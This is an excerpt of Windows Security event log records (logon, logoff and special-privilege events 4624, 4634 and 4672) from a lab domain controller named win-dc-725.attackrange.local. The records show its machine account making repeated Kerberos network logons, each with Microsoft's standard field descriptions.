Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64269

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249497
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE48DA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249496
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4874

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249495
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4874
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64268

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249494
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4874

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249493
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4813

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249492
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4813
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64267

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249491
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4813

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249514
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4ACC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249513
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4ACC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64274

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249512
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4ACC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249511
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4A6B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249510
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4A6B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64273

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249509
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4A6B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249508
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4A05

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249507
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4A05
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64272

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249506
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4A05

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249505
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE49A4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249504
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE49A4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64271

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249503
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE49A4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249526
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4C60

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249525
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4C60
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64278

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249524
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4C60

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249523
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4BFF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249522
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4BFF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64277

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249521
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4BFF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249520
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4B99

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249519
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4B99
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64276

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249518
Keywords=Audit Success
